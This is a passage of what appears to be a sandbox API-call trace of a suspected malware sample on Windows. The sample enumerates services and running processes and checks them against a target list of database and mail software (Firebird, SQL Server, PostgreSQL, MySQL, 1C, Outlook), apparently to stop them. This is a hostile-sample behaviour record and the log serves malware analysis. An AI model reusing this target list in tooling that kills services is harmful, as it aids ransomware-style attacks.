(lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0208.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0208.077] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0208.077] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0208.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0208.077] lstrlenW (lpString="MpsSvc") returned 6 [0208.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0208.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0208.077] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0208.077] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0208.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0208.077] lstrlenW (lpString="Netman") returned 6 [0208.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0208.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0208.077] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0208.077] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0208.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0208.077] lstrlenW (lpString="netprofm") returned 8 [0208.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0208.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0208.077] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0208.077] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0208.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0208.077] lstrlenW (lpString="NlaSvc") returned 6 [0208.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0208.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0208.077] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0208.077] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0208.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0208.077] lstrlenW (lpString="nsi") returned 3 [0208.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0208.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0208.077] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0208.077] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0208.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0208.077] lstrlenW (lpString="PcaSvc") returned 6 [0208.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0208.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0208.077] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0208.077] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0208.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0208.078] lstrlenW (lpString="PlugPlay") returned 8 [0208.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0208.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0208.078] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0208.078] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0208.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0208.078] lstrlenW (lpString="Power") returned 5 [0208.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0208.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0208.078] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0208.078] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0208.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0208.078] lstrlenW (lpString="ProfSvc") returned 7 [0208.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0208.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0208.078] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0208.078] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0208.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0208.078] lstrlenW (lpString="RpcEptMapper") returned 12 [0208.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0208.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0208.078] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0208.078] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0208.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0208.078] lstrlenW (lpString="RpcSs") returned 5 [0208.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0208.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0208.078] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0208.078] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0208.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0208.078] lstrlenW (lpString="SamSs") returned 5 [0208.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0208.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0208.078] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0208.078] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0208.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0208.078] lstrlenW (lpString="Schedule") returned 8 [0208.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0208.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0208.078] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0208.078] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0208.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0208.078] lstrlenW (lpString="SENS") returned 4 [0208.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0208.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0208.078] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0208.078] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0208.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0208.079] lstrlenW (lpString="ShellHWDetection") returned 16 [0208.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0208.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0208.079] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0208.079] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0208.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0208.079] lstrlenW (lpString="Spooler") returned 7 [0208.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0208.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0208.079] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0208.079] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0208.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0208.079] lstrlenW (lpString="sppsvc") returned 6 [0208.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0208.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0208.079] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0208.079] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0208.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0208.079] lstrlenW (lpString="SysMain") returned 7 [0208.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0208.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0208.079] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0208.079] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0208.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0208.079] lstrlenW (lpString="Themes") returned 6 [0208.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0208.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0208.079] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0208.079] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0208.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0208.079] lstrlenW (lpString="TrkWks") returned 6 [0208.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0208.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0208.079] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0208.079] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0208.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0208.079] lstrlenW (lpString="UxSms") returned 5 [0208.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0208.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0208.079] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0208.079] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0208.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0208.079] lstrlenW (lpString="WdiServiceHost") returned 14 [0208.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0208.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0208.079] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0208.079] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0208.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0208.080] lstrlenW (lpString="WdiSystemHost") returned 13 [0208.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0208.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0208.080] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0208.080] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0208.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0208.080] lstrlenW (lpString="WinDefend") returned 9 [0208.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0208.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0208.080] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0208.080] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0208.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0208.080] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0208.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0208.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0208.080] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0208.080] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0208.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0208.080] lstrlenW (lpString="Winmgmt") returned 7 [0208.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0208.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0208.080] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0208.080] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0208.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0208.080] lstrlenW (lpString="wscsvc") returned 6 [0208.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0208.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0208.080] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0208.080] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0208.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0208.080] lstrlenW (lpString="wuauserv") returned 8 [0208.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0208.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0208.080] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0208.080] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0208.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0208.080] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x194 [0208.082] Process32FirstW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0208.083] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0208.083] lstrlenW (lpString="System") returned 6 [0208.083] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0208.083] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0208.083] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0208.083] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0208.083] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0208.083] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0208.083] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0208.083] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0208.084] lstrlenW (lpString="smss.exe") returned 8 [0208.084] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0208.084] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0208.084] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0208.084] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0208.084] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0208.084] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0208.084] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0208.084] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0208.085] lstrlenW (lpString="csrss.exe") returned 9 [0208.085] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0208.085] lstrlenW (lpString="wininit.exe") returned 11 [0208.085] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0208.086] lstrlenW (lpString="csrss.exe") returned 9 [0208.086] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0208.086] lstrlenW (lpString="winlogon.exe") returned 12 [0208.087] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0208.087] lstrlenW (lpString="services.exe") returned 12 [0208.087] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0208.088] lstrlenW (lpString="lsass.exe") returned 9 [0208.088] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0208.088] lstrlenW (lpString="lsm.exe") returned 7 [0208.088] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.089] lstrlenW (lpString="svchost.exe") returned 11 [0208.089] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.090] lstrlenW (lpString="svchost.exe") returned 11 [0208.090] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.090] lstrlenW (lpString="svchost.exe") returned 11 [0208.090] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.091] lstrlenW (lpString="svchost.exe") returned 11 [0208.091] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.091] lstrlenW (lpString="svchost.exe") returned 11 [0208.091] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0208.092] lstrlenW (lpString="audiodg.exe") returned 11 [0208.092] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.093] lstrlenW (lpString="svchost.exe") returned 11 [0208.093] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.093] lstrlenW (lpString="svchost.exe") returned 11 [0208.093] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0208.094] lstrlenW (lpString="dwm.exe") returned 7 [0208.094] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x44c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0208.094] lstrlenW (lpString="explorer.exe") returned 12 [0208.094] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0208.095] lstrlenW (lpString="spoolsv.exe") returned 11 [0208.095] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0208.096] lstrlenW (lpString="taskhost.exe") returned 12 [0208.096] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.096] lstrlenW (lpString="svchost.exe") returned 11 [0208.096] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x350, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0208.097] lstrlenW (lpString="taskeng.exe") returned 11 [0208.097] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="innovative sapphire.exe")) returned 1 [0208.098] lstrlenW (lpString="innovative sapphire.exe") returned 23 [0208.098] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="nova.exe")) returned 1 [0208.098] lstrlenW (lpString="nova.exe") returned 8 [0208.098] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="attitude discussions wives.exe")) returned 1 [0208.099] lstrlenW (lpString="attitude discussions wives.exe") returned 30 [0208.099] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrate term dressing.exe")) returned 1 [0208.099] lstrlenW (lpString="demonstrate term dressing.exe") returned 29 [0208.099] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="picks blair.exe")) returned 1 [0208.100] lstrlenW (lpString="picks blair.exe") returned 15 [0208.100] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="posted_boating_anthony.exe")) returned 1 [0208.100] lstrlenW (lpString="posted_boating_anthony.exe") returned 26 [0208.101] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="principal.exe")) returned 1 [0208.101] lstrlenW (lpString="principal.exe") returned 13 [0208.101] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation.exe")) returned 1 [0208.102] lstrlenW (lpString="transportation.exe") returned 18 [0208.102] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: 